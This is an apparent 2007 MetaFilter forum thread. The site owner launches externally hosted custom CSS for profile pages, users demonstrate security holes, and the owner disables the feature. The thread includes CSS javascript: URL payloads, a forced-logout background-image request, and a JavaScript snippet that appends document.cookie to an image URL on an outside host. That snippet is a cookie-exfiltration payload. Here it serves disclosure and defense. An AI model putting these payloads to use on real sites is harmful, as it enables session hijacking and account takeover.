Freedom! We're better than Myspace!

I added a new feature: Custom CSS for profile pages. You simply create a .css file on your own server, write whatever CSS you want, and it will load after all the mefi CSS when anyone views your user page. Here's mine (which loads this). Just plop in the URL of your custom CSS file on your server in your user prefs. Be sure to post here when you've got something cool to show. Let the ugliness/coolness begin!
posted by mathowie to feature requests at 9:43 PM (188 comments total) 13 users marked this as a favorite

YAY!

Now to write some arcane CSS3 that no browser can read.
posted by dw at 9:50 PM on April 14, 2007

Oh hell yes.
posted by cortex at 9:53 PM on April 14, 2007

That's well and good, but why can't we access www.metafilter.com/trash ?
posted by Burhanistan at 9:53 PM on April 14, 2007

why can't we access www.metafilter.com/trash ?

Because there's nothing there. It's just a dumping ground of junk, without a proper index page.
posted by mathowie at 9:55 PM on April 14, 2007

Can this be used maliciously? Beyond just making a really ugly user page, that is.
posted by Mr. President Dr. Steve Elvis America at 9:57 PM on April 14, 2007

i'm going to have fun with this.
posted by puke & cry at 9:57 PM on April 14, 2007

I talked to our neighborhood leet script kiddie and he couldn't come up with any malicious hacks. Since the CSS loads on your server, it can't run javascript in this domain, so we should be safe, but I'm sure there are some weird bugs and exploits you could do.

I figured it was a way to let people bring back their crazy customized user pages without them having to avoid updating their profile/settings (like ThePinkSuperhero). Just copy your CSS to a file on your server and point to it.
posted by mathowie at 10:01 PM on April 14, 2007

Need a custom Photoshop .JPG or an animated .GIF to spruce up your profile page? No image too obnoxious, no graphic too gross! Examples available upon request. Reasonable rates, speedy turnaround, no questions asked! Send your requests to matt at the dot net of fandango!
posted by fandango_matt at 10:02 PM on April 14, 2007

Awesome! Thanks. Not that I think I'll use it. To paraphrase the saying, better to look like you can't design than to add your CSS and remove all doubt.
posted by Firas at 10:03 PM on April 14, 2007

(just kidding about the trash. Thanks for the improvements!)
posted by Burhanistan at 10:09 PM on April 14, 2007

I made a little page. Thanks to gator who I copied.
posted by jessamyn at 10:09 PM on April 14, 2007 [1 favorite]

omg ceiling cat is watching me masturbate to mathowie's page
posted by dirtynumbangelboy at 10:12 PM on April 14, 2007

Oh hell yeah. Now this is a feature thingy I can get behind.
posted by stavrosthewonderchicken at 10:14 PM on April 14, 2007

Oh yeah, I forgot to add that if stuff gets out of hand, I'll add "remove customization" buttons like they have on Virb, so you can see people's mefi user pages with the default look.
posted by mathowie at 10:22 PM on April 14, 2007

A question: if we use custom css ids and classes in the freeform textbox for our profile, will they be preserved or stripped out (hoping for the former, of course)?
posted by stavrosthewonderchicken at 10:23 PM on April 14, 2007

Yeah, may we also get some ids on the divs themselves? (eg. create #info, #contribs, #social and put them in #standard or something.)
posted by Firas at 10:33 PM on April 14, 2007 [1 favorite]

Makes me wonder what portion of the membership has access to web server space to store their own css file, and even knows enough about css to make use of this new feature. But this should help silence the people who miss the customized user pages of yore, and maybe help quell the outrage at the loss of the image tag.
posted by Dave Faris at 10:33 PM on April 14, 2007

I just realized that I don't have access to my own server anymore. Fuck.
posted by puke & cry at 10:36 PM on April 14, 2007

stavros, I think any custom classes you add would be stripped. So it's just working with what's on the page already.
posted by mathowie at 10:43 PM on April 14, 2007

Matt, may I suggest a URL structure like:

http://www.metafilter.com/user/1/boring

to automatically show a profile without the customization? That way, if we just want to see one person's profile page without customization.
posted by delmoi at 10:45 PM on April 14, 2007

... er we can.
posted by delmoi at 10:47 PM on April 14, 2007

Firas, .usertable is the whole three column thing, and .usercolumns describes each column of the three things. If you want, I can toss a ID on each column.
posted by mathowie at 10:48 PM on April 14, 2007

Matt: another question? How does this fix work?
posted by delmoi at 11:18 PM on April 14, 2007

fix work? what do you mean?
posted by mathowie at 11:31 PM on April 14, 2007

I've added a photo, and stripped out any navigation bars, menus, etc. basically, anything useful or design-smart.
posted by theiconoclast31 at 11:48 PM on April 14, 2007

Holy crap, that's really clean theiconoclast31.
posted by mathowie at 11:51 PM on April 14, 2007

meh, what about custom CSS à la Monkeyfilter for all of Metafilter? One can start with soliciting contributions and limiting options to just the ones vetted.
posted by Gyan at 12:02 AM on April 15, 2007

The CSS, if anyone's interested but please change the photo, ;d
posted by theiconoclast31 at 12:06 AM on April 15, 2007

I stole mine, but I'm a pirate.
posted by bigmusic at 12:07 AM on April 15, 2007

Gyan, custom layouts for the site will come later. For now, I'm just re-implementing a feature we used to have, which was the ability to tweak out your profile page ala Myspace. When I blocked random HTML elements that could be used for scripting attacks, everyone's ability to have custom profiles was gone and I know a small number of people never touched their profiles for fear of losing their custom settings (which would be wiped out). This was a safe way of bring stuff back, so it's here.

Eventually, a totally separate feature will be added where people can upload custom CSS to change the design of the sites and others can share those redesigns.
posted by mathowie at 12:13 AM on April 15, 2007

Holy crap. This is awesome.
posted by spiderskull at 12:55 AM on April 15, 2007

What prevents someone from adding javascript to the CSS like so:

background-image: url('javascript:alert("foo")');

- substituting something that mucks with the cookie, or even something more nefarious, instead?
posted by aberrant at 12:59 AM on April 15, 2007

and of course, the semicolon is in the wrong place. Edit as necessary.
posted by aberrant at 1:00 AM on April 15, 2007

The CSS is being loaded from another domain name, so can't access MeFi's cookies.
posted by cillit bang at 1:13 AM on April 15, 2007

The cookie example was a bad one (it's late), but I'm not entirely convinced that you couldn't get javascript to execute here. My shellbox is down ATM so I can't test but I'll try to do something with it next week.
posted by aberrant at 1:16 AM on April 15, 2007

I like watching this!
posted by Ceiling Cat at 1:46 AM on April 15, 2007 [3 favorites]

...and maybe help quell the outrage at the loss of the image tag.

Never.
posted by knave at 1:51 AM on April 15, 2007

...ok, I just tested using

body { background: #3a3a3a url(javascript:alert("foo")) no-repeat ; background-position: 680px 70px; }

and this does execute javascript. Bear with me: what prevents the code from accessing URLs on the local network and sending information (such as the specific error codes, which will indicate the presence or absence of specific types of webservers) back to a malicious site?
posted by aberrant at 1:57 AM on April 15, 2007

I made a little page. Thanks to gator who I copied.

Awwwwwww! I'm very flattered.

Now that we've got customization back, I'll need to dispose of that footer that's been plaguing the bottom of my profile this whole time.

Thank you so much, Matt.
posted by Gator at 2:10 AM on April 15, 2007

OK, call me crazy, but alert(document.cookie) does work. Just tested. I confess to not thinking very clearly; it's 2:10am, but this warrants further research.
posted by aberrant at 2:10 AM on April 15, 2007

I like this feature but the XHTML is definitely missing some ids.
posted by Foci for Analysis at 2:15 AM on April 15, 2007

Ok, so I dinked around a bit (css), but the markup isn't particularly convenient. Recommendations:

→ Give the free text div an id (eg #desc or whatever)
→ Put all the content (minus header and footer) in a #content div
→ Give each usercolumn its own id
→ Give the 'nearest users' thing its own id
→ Give the response to the free text question its own <p>
posted by Firas at 2:44 AM on April 15, 2007

Ace! This should be fun.

Seconding Firas' suggestions on the markup, though.
posted by jack_mo at 3:01 AM on April 15, 2007

Sweet!
posted by sveskemus at 3:44 AM on April 15, 2007

Damn, wish I knew CSS or had access to my own server. Still, nice new pony.
posted by who squared at 4:08 AM on April 15, 2007

*fires up Xylescope*
posted by armoured-ant at 4:16 AM on April 15, 2007

*leaps on aberrant from behind, cups hand over mouth, drives knife between ribs and twists*
posted by quonsar at 4:20 AM on April 15, 2007

Also, there's a few bits of markup on this here userpage that aren't as semantic (or valid) as they could be. Like, plenty of lists that should be marked up as lists. Just sayin'.
posted by armoured-ant at 5:11 AM on April 15, 2007

meh.

me-heh.

mehehehe..

muhahaha!
posted by phaedon at 5:33 AM on April 15, 2007

Fun fun fun!

I am a cheeseball.
posted by miss tea at 5:54 AM on April 15, 2007

Yay! I borrowed from theiconoclast31! :)
posted by heatherann at 6:30 AM on April 15, 2007

You don't need a server if you have a gmail account. Just load it onto your googlepages.
posted by i_am_a_Jedi at 6:31 AM on April 15, 2007 [1 favorite]

It'd also be better if we weren't using the HTML 4.o Transitional doctype...

/bitch
posted by armoured-ant at 6:41 AM on April 15, 2007

Great new feature! I'm probably the world's worst CSS guy (I probably shouldn't be allowed within a hundred yards of CSS due to past crimes against that language), but hey, I can never resist modifying a userpage when given the opportunity.

Thanks to theiconoclast31 who got my ball rolling, as it were.
posted by soundofsuburbia at 6:49 AM on April 15, 2007

If you need some hosting or/and if you're too damn paranoid to host it on your own server, get yourself a free hosting account on fsphost.com.
posted by Foci for Analysis at 7:13 AM on April 15, 2007

man, i wish had either programming or design skills.
posted by jonmc at 7:21 AM on April 15, 2007

What's this CSS of which you speak?

(Hey! You kids! Get off my lawn!!!)
posted by nevercalm at 7:36 AM on April 15, 2007

aberrant, I can't get javascript in CSS to do anything in Firefox, which is precisely the tests I did before I made it public. What browser are you actually getting alerts to run in?
posted by mathowie at 7:42 AM on April 15, 2007

I would like it if you enabled "remove customizations" as a preference, Matt.
I like me my uniformity.
posted by Kwine at 7:44 AM on April 15, 2007

Sigh. I remember in 1995 telling myself, I really should learn HTML and web programming. And here 12 years later, I still don't know more than half a dozen tags and nothing about CSS or Javascript. I'm like a real professional programmer and all, you'd think that I could wrap my head around this stuff.
posted by octothorpe at 7:59 AM on April 15, 2007

Matt: If this effectively defeats XSS attacks, does this mean we can get images back? The user can enter this in the comment field:
<img src="http://www.example.com/foo.jpg">
And the server can parse it as this:
<img src="invisible.gif" style="width:fooWidth; height:fooHeight; background:url('http://www.example.com/foo.jpg');">

fwiw, aberrant's test doesn't work in Safari.
posted by ardgedee at 8:04 AM on April 15, 2007

Oooh no! Something else to encourage procrastination instead of doing my translations...

... er I meant wow! Great feature! Thanks Matt!
posted by ClarissaWAM at 8:07 AM on April 15, 2007

aberrant, I can't get javascript in CSS to do anything in Firefox, which is precisely the tests I did before I made it public. What browser are you actually getting alerts to run in?

I got a "blocked content" message in IE7, so I'd assume the JS would fire in IE5 and earlier versions of IE6.

It won't fire in Firefox 2 at all; not even a message about it. Ditto Opera 9.2.

Peter-Paul Koch says that it works in Windows IE and Opera. But it looks like things have changed since then (c.f. the IE7 comment). There's no non-malicious reason to have JS in your stylesheet, anyway, so it's odd this still pops up a warning in IE7.
posted by dw at 9:10 AM on April 15, 2007

But it looks like things have changed since then

"since then" meaning "since PPK wrote this three years ago." Oops.
posted by dw at 9:11 AM on April 15, 2007

Here's a temporary recent updates list of users with CSS. Foci's profile is pretty sweet looking.

Firas, I'll implement those suggested CSS changes today so you can style stuff more specifically.
posted by mathowie at 9:18 AM on April 15, 2007

The javascript works against IE6, does not work against FF. Haven't tried against safari/opera.

I have a proof of concept but the margins of this textbox are too narrow for me to list it here.
posted by aberrant at 9:21 AM on April 15, 2007 [1 favorite]

We're better than Myspace!

ORLY?
posted by chrismear at 9:22 AM on April 15, 2007 [2 favorites]

I'll leave the POC up on my user profile for a little while. If you want to check it, just view my profile and see if you get a popup containing your cookie (username, password, other stuff). If so, please report version of browser and that it worked. If not, please do the same, but indicate that it didnt.
posted by aberrant at 9:26 AM on April 15, 2007

Oh my God.

chrismear wins.

I was gonna try to make a really cool profile... but... damn, man.
posted by armoured-ant at 9:29 AM on April 15, 2007

aberrant's hackery worked on IE7 (WinXP), and failed on Firefox (2.0.0.3).

Firefox's Javascript console produces an error relating to the "background: url(javascript:alert(document.cookie))" line in your css.

Specifically:

Warning: Expected end of value for property but found ')'. Error in parsing value for property 'background'. Declaration dropped. Source File: http://vallejo.cryptonym.net/~s1b7/doit.css Line: 2

posted by Aloysius Bear at 9:34 AM on April 15, 2007

Awesome, chrismear. Bravo.
posted by synaesthetichaze at 9:35 AM on April 15, 2007

# “If this effectively defeats XSS attacks…”

It doesn’t. The vulnerability of using an URI which the browser thinks should be an image, but which is in fact a GET request of an operation which can change the state of something on the server is still there. (I haven’t verified this, but I remember that the reason images were disabled had something to do with someone creating an <img> with the href pointing to an URI which marks a post as a favorite. This technique should still work, even with external style sheets.)
posted by ijoshua at 9:36 AM on April 15, 2007

Olli's profile contains an exploit that works on Firefox (2.0.0.3).

It shows all my Metafilter cookies in a grey box beneath the "What's the deal with your nickname" bit. Obviously this is bad.

The css.
posted by Aloysius Bear at 9:38 AM on April 15, 2007

Visit my profile if you would like to log out.
posted by ijoshua at 9:39 AM on April 15, 2007

Mine. Sort of clean.
posted by signal at 9:40 AM on April 15, 2007

ijoshua, I believe Matt fixed that aspect of it by making actions work by POST rather than GET. In particular, favoriting is now done by AJAX (presumably using POST) rather just hitting a URI.
posted by Aloysius Bear at 9:40 AM on April 15, 2007

Ok, so exploit-wise, how would someone get your cookie details on their server? If someone can't get your cookie values in a broken browser to pass along to another server, it's not a problem.

Would they load an image with a variable set to the cookie value, which they can fetch from their logs?

If so, would moving to storage of styles here within your profile work better if I simply blocked the word "javascript" from any stored CSS profile here?

Can anyone think of an exploit involving CSS stored locally here that I couldn't easily defeat with some simple regex rules?

If there are indeed some exploits that can't be solved, I'll take the custom profiles down today, but I'd really like to figure out a way to make this work.
posted by mathowie at 9:42 AM on April 15, 2007

Aloysius Bear, the problem isn’t just with MeFi. Literally thousands of other sites on the Internet have incorrectly used GET instead of POST. Additionally, the "Log out" link on the bottom of the page is a GET, which changes the state of your session by deleting your cookie. The custom CSS in my profile exploits this as an example, but the background-image url could point to any other site.
posted by ijoshua at 9:43 AM on April 15, 2007

Matt: if I can display the cookie, then I can include elements of the cookie, such as username and pw hash, in a GET request to my server. My webserver logs now have that info which I can use to create my own cookies with that information to impersonate the victim. This is just one way I can think of to steal credentials, never mind exploiting 0-day browser or javascript exploits.

Another cool trick is to download javascript that forces the browser to fingerprint devices on its network - this can be used to map internal networks. I've seen it done; Jeremiah Grossman presented this attack at RSA.
posted by aberrant at 9:46 AM on April 15, 2007

mathowie, any feature which allows the user to specify an URI that will be loaded automatically by the browser, as in an <img>, <object>, or CSS background-image or list-style-image, can be exploited.
posted by ijoshua at 9:47 AM on April 15, 2007

Ha! chrismear - that is fantastic.

On a more boring note - I'm sure it's my Google 'n' cut 'n' paste approach to CSS that's to blame, but why do things that look okay in Firefox and Safari look so wildly different in Opera?
posted by jack_mo at 9:47 AM on April 15, 2007

If you decide to leave this up for whatever reason, PLEASE allow those of us who don't care about CSS to disable it globally. Thanks.
posted by aberrant at 9:49 AM on April 15, 2007

For future reference, since this feature probably won’t last long, this is the entire contents of my custom css:



body {

background-image: url("http://www.metafilter.com/index.cfm?delcookie=yes");

}

posted by ijoshua at 9:49 AM on April 15, 2007

Ok, so exploit-wise, how would someone get your cookie details on their server?

You're right, matt. Look at Olli's profileusing Firefox or Internet Explorer. He gets the green cookie text onto the page by calling some external javascript in the css. This JS could do anything, like create an image with a GET parameter of the cookie text, thus getting your cookie data into the logs of the remote server hosting the image.

As far as I can tell, locally hosting the css and banning anything with a "javascript" in it would be a good idea.
posted by Aloysius Bear at 9:49 AM on April 15, 2007

Ok fine, even though it's a pretty fun feature, I guess I'll be disabling it.

After seeing Olli's hack, there's no way I can route around that, since people would have to be able to call external URLs in their styelsheets and you could just masquerade even a simple .gif on your server as that exploit. Any sort of exploit filtering I did on background images could still be executed.

It's sad, I really love chrismear's profile. Oh well.
posted by mathowie at 9:55 AM on April 15, 2007

If you're concerned about people exploiting other sites' weaknesses, for example by making their profile's background-image load mybank.com/dosomethingbad.cfm?confirmed=true, then you'd have to block "url(···)" from the CSS as well.
posted by Aloysius Bear at 9:57 AM on April 15, 2007

Ok, it's dead now. I could see how using Olli's demo, I could get someone's entire cookie details for any site that allows images pretty easily.

Sucks. Stupid fucking browsers.
posted by mathowie at 9:58 AM on April 15, 2007 [1 favorite]

Ok fine, even though it's a pretty fun feature, I guess I'll be disabling it.

You could still allow local CSS safely (I think) by regexing out "javascript", "behavior:" and "url(" and "-moz-binding:" (and perhaps a couple of others).

This would have the downside of meaning people couldn't put any images on their profile. But all CSS's other magic would still be available.
posted by Aloysius Bear at 10:00 AM on April 15, 2007

I guess I'll be disabling it.

The 45 minutes of fun spent hacking some stuff up suddenly goes bye bye as I'm previewing it.

Yeah. thanks.
posted by Brandon Blatcher at 10:01 AM on April 15, 2007

NOOOOOOOOOOOOOOOOOO!! </vader>
posted by monju_bosatsu at 10:01 AM on April 15, 2007

Sorry, Matt - but thanks for trying to add some cool functionality, and thanks for realizing how big a risk this was.
posted by aberrant at 10:02 AM on April 15, 2007

Well, this at least explains why I was clicking around madly on all the examples above w/out seeing a damn thing. (Next time I'll skip to the bottom first).
posted by veggieboy at 10:04 AM on April 15, 2007

If so, would moving to storage of styles here within your profile work better if I simply blocked the word "javascript" from any stored CSS profile here?

That will get some of it, but the greater problem is Olli's exploit using an externally hosted script. I'm a little unclear how you could exploit that data without some huge script pulling that cookie and pushing it to a DB.

And honestly, I'm a little baffled why this hole hasn't been exploited more if it's that significant. It's been there for a while. Why haven't we seen a malicious attack via CSS? Why hasn't anyone complained before at the hole (even with Peter-Paul Koch demonstrating it at least three years ago?)

If there are indeed some exploits that can't be solved, I'll take the custom profiles down today, but I'd really like to figure out a way to make this work.

I'd block anything in the url attribute that wasn't a jpg/gif/png file. That should do it. Also, block @import -- no one even uses NN4 anymore and you should be able to put it all on one stylesheet.
posted by dw at 10:04 AM on April 15, 2007

You could still allow local CSS safely (I think) by regexing out "javascript", "behavior:" and "url(" and "-moz-binding:" (and perhaps a couple of others).

If you reg out url, you reg out all background images.
posted by dw at 10:05 AM on April 15, 2007

You could still allow local CSS safely (I think) by regexing out "javascript", "behavior:" and "url(" and "-moz-binding:" (and perhaps a couple of others).

Well, if I don't allow external objects like "url" then it's just a glorified color picker for your profile, and I might as well make a simple version of that that doesn't use CSS, but then that wouldn't be very fun to use.
posted by mathowie at 10:07 AM on April 15, 2007

Well this is sad.

It should probably come out of the sidebar.
posted by Partial Law at 10:08 AM on April 15, 2007

Also, presumably this doesn't change the plan for site-wide personal CSS? Since those would be set only by the user, for the user?
posted by Partial Law at 10:10 AM on April 15, 2007

# “I'd block anything in the url attribute that wasn't a jpg/gif/png file.”

That’s more difficult that it seems. You’d have to actually request at least the HEAD of the target URI to be sure that the Content-type header in the response is one of those image types. Even still, it may be possible to return a proper Content-type, and then redirect to another URI that actually performs the malicious action.

This exploit is not a browser bug. It is a software failure, but on the part of the developers of the web applications who’ve incorrectly allowed GET requests make changes in the state of the application.
posted by ijoshua at 10:10 AM on April 15, 2007 [1 favorite]

Yeah, but dw, you could simply make .gif execute as html on your server, then plop the contents of the bugzilla exploit as your server's "foo.gif" fake image.

All you have to do then is figure out a way to pass the results that print out on the page to another image reference you could fetch in your logs (which seems possible and easy enough, no?).
posted by mathowie at 10:11 AM on April 15, 2007

Well, if I don't allow external objects like "url" then it's just a glorified color picker for your profile, and I might as well make a simple version of that that doesn't use CSS, but then that wouldn't be very fun to use.

Then don't go that far. Block "javascript", "behavior:", "-moz-binding:", and "@import". Then you just need a regex that looks for url( and the final ), then checks the extension on the file to see if it's jpg, jpeg, gif, or png. If it's not, block the page.
posted by dw at 10:12 AM on April 15, 2007

I should use Preview more.
posted by dw at 10:14 AM on April 15, 2007

Yeah, but dw, you could simply make .gif execute as html on your server, then plop the contents of the bugzilla exploit as your server's "foo.gif" fake image.

No, this is wrong.

Olli's clever hack relies on the "behaviour:" CSS property to work in IE, and the "-moz-binding:" property to work in Firefox. You defintely need to block these.

I wonder if it would actually be OK to allow "url(" and hence allow background images. You must change the logout link to be a POST form rather than a GET delcookie=true link though.
posted by Aloysius Bear at 10:15 AM on April 15, 2007

Actually, now that I think about it, I thought it was easy to pass exploit values to another server, but now I'm not so sure (which would mean I could re-enable this feature).

How would you pass the results of Olli's exploit to your own server? You can't get set a background url of http://your_server.com/foo.gif?usercookies=(contents of Olli's exploits) without scripting, but then I'm not sure what the limits of CSS2 or CSS3 are at this point.
posted by mathowie at 10:15 AM on April 15, 2007

dw: Matt would be chasing his tail as edge cases kept coming to light. Any protection system that relies on blacklists (as opposed to whitelists) is less efficient - some, myself included, would even consider it flawed.
posted by aberrant at 10:15 AM on April 15, 2007

Matt: why couldn't you do that, or url(http://username.pwhash.your_server.com/background.gif) ?
posted by aberrant at 10:17 AM on April 15, 2007

Also, here's a screenshot of chrismear's profile, for those that missed it. It's a thing of beauty.
posted by mathowie at 10:18 AM on April 15, 2007

aberrant, how would that work exactly? How on earth could you, in a CSS file, pass anything along as a variable elsewhere in the file?

I understand how Olli's exploit grabs your cookie details and displays them back to the user that owns the cookie. But where and how could it ever push the results to another server?
posted by mathowie at 10:21 AM on April 15, 2007

fix work? what do you mean?

I thought customization was removed to fix some sort of XSS vulnerability. I assumed the reason the stylesheets came back was because it was fixed.

/confused
posted by delmoi at 10:25 AM on April 15, 2007

mathowie: are we still talking about the ability to use javascript, or are you assuming you can disable it somehow? If javascript is still allowed, it's trivial, right?
posted by aberrant at 10:27 AM on April 15, 2007

(hit post to soon). Here's how, though I really don't know javascript well enough to write workable code off the top of my head. var v=document.cookie, parse v into its component parts, extracting u = username and p=password hash, then do a GET request in the CSS (via url) to u.p.evilserver.com/blah.gif - myserver.com is configured to accept - and log - all vhost requests. Therefore, a request would come in for aberrant.mypwhash.evilserver.com/blah.gif - and right there in the weblogs would be my userid and hash.
posted by aberrant at 10:30 AM on April 15, 2007

Matt, the exploit is dependent on the behavior: and -moz-binding properties. Filter those and the hole is closed.
posted by cillit bang at 10:33 AM on April 15, 2007

this raises another issue, by the way - the replayability of the password hashes. Sure, you don't know what my password is, but does it matter? If you have the hash, you can reconstruct a cookie and impersonate the user, since all that the server needs is this hash that doesn't change (isn't salted or nonced). The hash is equivalent to this static password that everyone's worried about, since it's all that's needed.
posted by aberrant at 10:34 AM on April 15, 2007 [1 favorite]

Matt: I think the way to solve this problem is to put metafilter user names on another domain.

So for custom designs you would go to:

http://metafilter-users.com/1

or

http://metafilter-usernames.com/mathowie

That would give people the option of easily seeing the original profile by viewing it on metafilter.com
posted by delmoi at 10:34 AM on April 15, 2007

dw: Matt would be chasing his tail as edge cases kept coming to light.

Matt will be chasing his tail no matter what, since CSS3 will probably add in a couple more ways in which you can grab remote files.

There are only three major image types for web pages right now: gif, jpeg, and png. (Maybe svg will be there one day.) If you limit the calls to that, then you only have to worry about the truly malicious hacker who is altering MIME types on their server.

I understand how Olli's exploit grabs your cookie details and displays them back to the user that owns the cookie. But where and how could it ever push the results to another server?

XMLHTTPRequest? I mean, theoretically you could parse the cookie in the script and then push it in the background. But then you're basically writing an AJAX app.

I'm still baffled why no one has ever built a significant exploit with this, though. I mean, if you could do a hell of a lot of damage this way, why haven't we seen this in the open?
posted by dw at 10:35 AM on April 15, 2007

Um, Cillit Bang, maybe I don't understand, but this is the line in my CSS that does the cookie grab:

body { background: #3a3a3a url(javascript:alert(document.cookie) ) no-repeat ; background-position: 680px 70px; }

How do the behavior / moz-binding properties affect this?
posted by aberrant at 10:36 AM on April 15, 2007

dw: we have .
posted by aberrant at 10:37 AM on April 15, 2007

Filter those and the hole is closed.

I'm an idiot. You can't filter external files. Host them locally with some serious filtering.

Um, Cillit Bang, maybe I don't understand

I was talking about Olli's. Yours is a separate potential hole.
posted by cillit bang at 10:39 AM on April 15, 2007

Well, if I don't allow external objects like "url" then it's just a glorified color picker for your profile, and I might as well make a simple version of that that doesn't use CSS, but then that wouldn't be very fun to use.

This doesn't make any sense to me at all.. It has to be easier to work from the standard, for users and developers alike (assuming the users can get over their irrational fear - omg, CSS!).

What you can do with layout flexibility is very powerful, images are just a nice additional frill - MetaFilter itself is proof enough of that (as much as I hate to admit that the img tag hasn't been missed that much - free the tags!)..
posted by Chuckles at 10:41 AM on April 15, 2007

I understand how Olli's exploit grabs your cookie details and displays them back to the user that owns the cookie. But where and how could it ever push the results to another server?

Olli's clever CSS file calls this JavaScript for Firefox (and another one for IE).

You'd simply add something like this to the script:

var data = document.cookie;

var img = document.createElement('img');

img.setAttribute("src",'http://mysite.com/page/'+data);

document.body.appendChild(img);

You could then see in your logs all the requests to mysite.com/page/COOKIE DATA HERE and hence extract everybody's cookies.

How the whole thing works: The -moz-binding property tells Firefox to execute some Javscript, in this case the remote javscript at th e bugzilla site, for the .userpage class. Firefox runs this javascript, which gets the cookies and adds an image to the page with the cookie data.

The bugzilla site plays no role in this except to serve the javascript, which it serves like text (i.e. it's not executing it) - all the execution happens on the user's computer.

This is all separate from the url() thing.
posted by Aloysius Bear at 10:42 AM on April 15, 2007

dw: we have.

That's not exactly the exploit I'm seeing as the problem, though. If this is such a huge problem, why hasn't there been any attempt to close the hole on the part of any of the browser groups?

Host them locally with some serious filtering.

I think that is going to be the safest option. But assuming every user with a real and semi-active account, say 40,000, gets just 1MB for these images, that's 40GB right there, and increasing by the day. And then someone will realize you can use this space to host those problematic IMG files and start clamoring for ImageFilter.
posted by dw at 10:50 AM on April 15, 2007

dw: there's no "hole" to speak of - Javascript in CSS was accepted a while back; it's being silently discarded now, but there are lots of other ways to get your browser to download javascript. It's what the javascript can DO that's at issue, and things like XSS and CSRF can't really be fixed easily since they're core to a lot of functionality.
posted by aberrant at 10:55 AM on April 15, 2007

There are several separate issues:
- Executing scripts within the url() call (aberrent's exploit) is impossible if you require that the URL begins with "http".
- Executing external scripts referenced by url() (Olli's exploit) is only possible with the behavior and mozbinding properties, so filter those.
- Importing external CSS requires @import, so filter that.

I think this is eminently solvable.

But assuming every user with a real and semi-active account, say 40,000, gets just 1MB for these images

I only meant the CSS. There's no need for images to be hosted here if the filtering is done properly.
posted by cillit bang at 10:55 AM on April 15, 2007

I'm with Chuckles - I think the CSS layout control is way more powerful than a "glorified color picker," even defanged to prevent loading remote files. It is sad that there's no way to do it all the way, with background images and everything, without also enabling various exploits. But the half-CSS solution just seems cooler than removing it altogether and putting in a color picker (or nothing).

Also, on another topic altogether, aberrant said: this raises another issue, by the way - the replayability of the password hashes. Why are there even password hashes in the cookies?? I thought "never trust the client" was a fundamental design principle; shouldn't cookies be restricted to something like a SessionID and leave all the good stuff on the server somewhere? I guess it's a bit late to entirely redesign the MeFi login process, but if the cookies have actual important secret stuff in them, isn't that the problem right there?
posted by rkent at 11:09 AM on April 15, 2007

So basically, even if we were to come up with a way to do this, Matt would have to implement his own subset of CSS to make it secure?
posted by aberrant at 11:10 AM on April 15, 2007

Yeah, aberrant, but "subset" meaning all CSS hosted here with a couple things filtered out. So not really a subset but full functionality less a handful of specific hacks.

If I had three rules: url() has to start with http://, no "-moz", and no "behavior" allowed in anyone's CSS, we'd be pretty much secure, no?
posted by mathowie at 11:16 AM on April 15, 2007

matt: I don't know. My exposure to CSS is extremely limited; I happened to have some free time last night to muck around. My concern is this: we've had several folks - people with far more experience than I - say that the security of this functionality was not an issue. However, in 12 hours, you've seen 2 different exploit vectors, Olli's being far more elegant than mine, along with a possible third (@import).

Who's to say that we've gotten them all? Again, I don't know enough about the current or proposed implementations to assess the risks appropriately. If you go ahead with a modified version, please consider adding functionality so that users can disable custom CSS when viewing others' pages. This way I can remain reliant on your code/formatting - which I have to do anyway - without having to implicitly trust any other user whose page I'd like to visit.
posted by aberrant at 11:21 AM on April 15, 2007

Another question - why couldn't I have url("http://myserver.com/bg.html") - which meets the filter requirements - but then have <script> statements within that html that would execute on the client? I might not be able to get the cookie, but that doesn't matter - there are lots of other javascript-based attacks that might work.
posted by aberrant at 11:25 AM on April 15, 2007

I don't know aberrant, if that was possible it seems like people could have exploited this on thousands of servers for several years now, but I've never heard mention of it outside of these proof-of-concept security discussions.

A lot of this stuff reads as alarmist to me. Anyone can show an "exploit" that runs locally and only shows you your own private details, passing that along to someone else is much more difficult.
posted by mathowie at 11:32 AM on April 15, 2007

Javascript in CSS was accepted a while back

Really? Because as far as I know, there's no valid reason for there to be CSS in JavaScript. Maybe to access the DOM, perhaps, but I've never anyone attempt it in a stylesheet, especially when it only apparently works in older browsers and even then sketchily.

(On further review, the W3C folks are working on binding behaviors in CSS, so maybe I'm just behind the times.)

If I had three rules: url() has to start with http://, no "-moz", and no "behavior" allowed in anyone's CSS, we'd be pretty much secure, no?

I want to say yes, but I'm still wondering if the IMG/XSS problem is going to rear itself in images aren't hosted locally.
posted by dw at 11:35 AM on April 15, 2007

Arrgh. I really need to learn how to use Review.

...there's no valid reason for there to be JavaScript in CSS.
posted by dw at 11:36 AM on April 15, 2007

?!?!?!?!?

Dudes! Talk about Ashcroftian! The way to prevent XSS is to use nonces, not to slowly disable every bit of functionality! In two years we'll have to use one finger and pre-selected words from a picture book to use Mefi! WTF!
posted by Firas at 11:44 AM on April 15, 2007

There are nonces on every post operation on mefi, as of a couple weeks ago.

But I do store enough details in cookies that if you had a copy of all my cookies, you'd essentially appear logged in as me to mefi. I should move to session-based security, but I never wanted to have to deal with errors when someone spends an hour writing a comment or post, only to have their operations die because the session is over.
posted by mathowie at 11:48 AM on April 15, 2007

why couldn't I have url("http://myserver.com/bg.html") - which meets the filter requirements - but then have statements within that html that would execute on the client?

Because if you do that in any property but behavior/moz-binding, the browser is expecting an image and won't try to execute the script.
posted by cillit bang at 11:59 AM on April 15, 2007

Embedding images is a seriously trivial component of my CSS writing. Disable url() and @include unilaterally and I would still be happy.

Or if you want to make a lot of extra work for yourself, you could preload requested URLs and make sure they had proper JPG/GIF/PNG headers before passing the customization doc along to the user.
posted by ardgedee at 12:02 PM on April 15, 2007

It may be alarmist - I don't know. What I do know is that I saw a proof-of-concept at RSA from a respected security guy that showed that malicious javascript running on a victim's browser can essentially make any GET or POST request it wants - on the internal network if it's protected - with the authority of the user. The demonstration showed that you could use javascript in this way to perform internal network mapping, and even use the browser to perform authenticated actions - and send some important data back out. Error messages, for example, don't follow site restrictions, so if I do a GET to a specific URL that I know will contain a gif if it's, say, an SAP server, and I get an error message, I know that there's no SAP server at that URL.

The thing is, while I work in information security, I don't know enough about web-based attacks to determine whether this is a significant risk or whether it's unlikely. I've never bought into the "we've never heard of it before so it can't possibly pose a threat to us" line - I've seen too many folks get burned with that logic.

I don't really have a dog in this hunt, since I couldn't give two figs about seeing pretty user pages. As long as you give us an option to disable downloading content from other sites without an explicit action being taken, I'm happy to bow out.
posted by aberrant at 12:03 PM on April 15, 2007

Here, I tried out an experiment.

